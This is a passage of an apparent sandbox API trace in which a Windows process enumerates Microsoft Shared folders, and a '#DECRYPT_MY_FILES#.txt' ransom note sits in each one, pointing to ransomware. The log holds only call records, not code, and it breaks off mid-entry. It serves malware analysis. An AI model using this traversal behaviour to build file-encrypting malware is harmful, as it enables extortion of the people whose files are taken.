FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72f2cc0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.884] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="1033", cAlternateFileName="")) returned 1 [0033.884] AreFileApisANSI () returned 1 [0033.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0033.886] GetFileType (hFile=0xc4) returned 0x1 [0033.887] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.888] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72f2cc0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0033.888] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0033.888] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.888] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="EURO", cAlternateFileName="")) returned 1 [0033.889] AreFileApisANSI () returned 1 [0033.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0033.890] GetFileType (hFile=0xc8) returned 0x1 [0033.890] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.891] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.891] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72f2cc0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.891] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0033.891] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0033.891] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.891] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="Filters", cAlternateFileName="")) returned 1 [0033.891] AreFileApisANSI () returned 1 [0033.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.893] GetFileType (hFile=0xc8) returned 0x1 [0033.894] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.894] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.894] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72f2cc0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb72f2cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72f2cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.894] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0033.895] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0033.895] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0033.895] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0033.895] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0033.895] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.895] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0033.895] AreFileApisANSI () returned 1 [0033.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.899] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.899] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.899] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7318e20, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, 